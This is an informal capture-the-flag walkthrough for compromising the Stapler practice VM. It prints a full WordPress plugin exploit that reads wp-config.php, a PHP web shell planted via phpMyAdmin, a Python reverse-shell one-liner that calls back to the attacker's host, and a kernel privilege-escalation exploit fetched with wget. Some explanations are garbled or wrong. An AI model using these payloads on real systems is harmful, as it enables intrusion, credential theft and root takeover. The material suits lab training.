___________________Stapler_OS___________________

1) Double click the .ovf file stapler to import it into virtual box. Don’t forget to change the network according to your kali linux machine.

2) As usual, type in kali terminal: “netdiscover -i eth0”, if your environment is “eth0”. To see what yours is, type “iwconfig”.

3) Type “nmap -p- -A ip_addr_of_stapler”

4) Now, we’re gonna use “ftp” to proceed. If not already installed in your kali machine, install it by typing “apt-get install ftp”.

5) Type: “ftp ip_addr_of_stapler”, press enter. Write “anonymous” as root, and “anonymous” as psw. Type “ls” to list the contents. We see that we have one file named “note”. Type “get note” to download it to kali linux. After that, you can exit the ftp by typing “quit” or “exit”.

6) The file “note” will be found in the current directory of your working terminal.  Now, let’s scan its IP_addr along with the apache non-usual port of course, with dirb. Type “dirb http://ip_addr_of_stapler: 12380”, press enter.

7) We found nothing as result while “dirbing” the ip_addr. Now, let’s change the protocol to “https”: Type “dirb https://ip_addr_of_stapler:12380”.

 8) Now, we find lots of information. Copy & paste the link ended with “phpmyadmin”, and “robots.txt” into a browser. You can check as much as you want. While checking the “https://192.../robots.txt”, we found 2 directories (/admin112333/, and /blogblog/). Copy them & paste them behind “https://192…:12380/“.

9) The bottom of the directory “/blogblog/” mentions that it is powered by Wordpress. So, we can try to scan it using “wpscan” to see if we can find some users’ credentials. Type “wpscan --url https://192.Ip_of_Stapler:port#/blogblog --enumerate u,ap --disable-tls-checks”, press enter. We do “-u,ap” to enumerate users and “ap” all_plugins. Since, while scanning with “dirb” it was working for only “https” protocol, we have now to disable the “tls”; otherwise, it won’t work.
[We’ve found a mistake says: “The WordPress URL supplied ‘http://--random-agen/' seems to be down. Maybe the site is blocking wpscan so you can try the --random-agent parameter.]——> because we had a mistake by putting an hyphen before the “u,ap”, it shouldn’t be. Or any mistake like “forget the two slashes before the ip_addr, after the 2 dots, or in mistyping the ip_addr like 192.1.168…, instead of 192.168.1…” will result that error in terminal inside the brackets.
In the terminal, the scanning gives us some usernames and login_names in a table, and it gives us bunch of links.

10) Now, read the scanning result to find any infos on your needs. In our case, the link ended with “uploads” seems interesting to us. Let’s copy it and paste it in a browser.
When clicking, clicking, clicking, we found a folder called “advanced-video…” which has a “advanced_video_embedded.php” file inside, a file called “hello.php”, etc… NOTE: SINCE IT IS A .PHP FILE found in plugins folder, most of the time, its contents will not be displayed to you. In everything, if you want to hack something in kali, don’t forget to “type the name of what you want and put (exploit) behind it on google”.

11) After downloading the file, and/or copying and pasting the code contents into a new file, there are a couple of changes which should be made in the file so that it works according to our needs:
a) “import ssl”, put it right below the “import urllib2”. In order to support a connection over https.
b) ssl._create_default_https_context = ssl._create_unverified_context,,, (that allows us to connect using https).
c) Change your “url” to your target ip_addr. Eg: https://192.ip_addr_of_stapler:12380/blogblog/
And save the file as a python file (.py).
[[[[[[[[[[[[
______Here is the content of the file:

#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2

#	Timeline
#	03/24/2016 - Bug discovered
#	03/24/2016 - Initial notification of vendor
#	04/01/2016 - No answer from vendor, public release of bug 

# Vulnerable Code (/inc/classes/class.avePost.php) Line 57:

#  function ave_publishPost(){
#    $title = $_REQUEST['title'];
#    $term = $_REQUEST['term'];
#    $thumb = $_REQUEST['thumb'];
# <snip>
# Line 78:
#    $image_data = file_get_contents($thumb);

# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re
import ssl
ssl._create_default_https_context = ssl._create_unverified_context

url = "http://192.168.1.182:12380/blogblog” # insert url to wordpress, (the ip_addr of your target Stapler_os)

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
	numbers = re.findall(r'\d+',line)
	id = numbers[-1]
	id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
	if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
		urls=re.findall('"(https?://.*?)"', line)
		print urllib2.urlopen(urls[0]).read()

]]]]]]]]]]]
12) In the terminal of the python file directory, type “python the_filename.py”, then press enter. (What this command does?_It uploads the python file into the server directory of our “https://192.ip_addr_of_stapler:12380/blogblog/wp-content/uploads“ in a “jpeg” format. Try to reload the page to see it.

13) Nice part ___________
Now download the image “jpeg” file by right-clicking it and “save link as”. For, if you just click on it, you’ll get an error states that “the file contents errors and cannot be displayed…”. Use “cat” to open it in order to see its contents. 
This displayed content from the image jpeg file is the content of the “wp-config.php” file.
Explanation:
The way that the image gets the contents of the “wp-config.php” file is not magic. It’s because the python file which you have been uploaded to the server Stapler “https://192.ip_addr_of_stapler:12380/blogblog/wp-content/uploads” has a code within in it which reads and prints all the lines of the “wp-config.php”) file.

14) Now in the opening jpeg file using cat in terminal, we see a few important credentials, such as (mysql database, password…). Go  to https://192.ip_addr_of_stapler:12380/phpmyadmin, and try to log in. 

15) Now, point your mouse on “SQL”  tab in “phpmyadmin”, then copy and paste this command below:
SELECT “<?php echo shell_exec($_GET[‘cmd’]); ?>” INTO OUTFILE “/var/www/https/blogblog/wp-content/uploads/shell.php”, click on “Go”. Then go back to your https://192.ip_addr_of_stapler:12380/blogblog/wp-content/uploads page, refresh it to see the “shell.php” file.
Now, add this following code behind the web address …/uploads/: “shell.php?cmd=hostname” (without quotes) in order to see what it’s gonna return. As we can see, it returns a “red.initech”.
So, as we can see, if we are able to do that, that means, we can try to do a reverse_shell payload. We input a python code (python reverse shell payload) in the web address by replacing the keyword “hostname”. 
Before doing that, open up a new terminal and type: “nc -nlvp 5555”, any port number for your netcat. Then, you can use the payload below.
Eg: 
https://192.ip_addr_of_stapler:12380/blogblog/wp-content/uploads/shell.php?cmd= python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168_of_your_kali_linux” 4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
- If everything is well typed, when pressing enter, you will get a shell in your netcat terminal .

16) Now the next is step is privilege escalation. Let’s check for more information in the netcat terminal by using this command to see the operating system version of our target machine (stapler in our case): “lsb_release -a”, press enter.
As usual, google that OS found to find a privilege escalation. Type on google for example: “ubuntu 16.04 LTS privilege escalation”. We use this link “https://www.exploit-db.com/exploits/39772” and “https://bugs.chromium.org/p/project-zero/issues/detail?id=808” to download the 2 important compressed files “exploit.tar” and “crasher.tar”.

17) Then, in your kali, move them (compressed files) to the web directory, i.e /var/www/html/; then start your apache service “service apache2 start” in order to be able to get them in Stapler netcat terminal.
So, in netcat shell, try to get them in “/tmp” directory. Type “cd /tmp”, then “wget https://ip_addr_of_kali/exploit.tart”. Do the same for “crasher.tar” also.

18) Now, extract them (still in netcat shell terminal) by typing “tar -xvf exploit.tar”, and “tar -xvf crasher.tar”.

19) Change your directory to this “cd ebpf_mapfd_doubleput_exploit/“, then type “chmod +x compile.sh” to make the file executable, and run it by typing “./compile.sh” (doing so will create a new file for running called “doubleput”). After running, do the same for “doubleput.c” from the same directory “tmp/ebpf_mapfd_doubleput_exploit”. Eg: “./doubleput”, press enter and wait. 

20) When it says to you “we have root pries now…”, now type “id” to see your status (you should see “root”). After that you can insert a python code to have a root shell: python -c ‘import pty; pty.spawn(“/bin/bash”)’,,, then press enter. Now you get in the terminal this path: root@red:/tmp/ebpf_mapfd_doubleput_exploit#. Type “ls”, “cd root” folder to see any found files using “cat” command.

That’s it!!! :D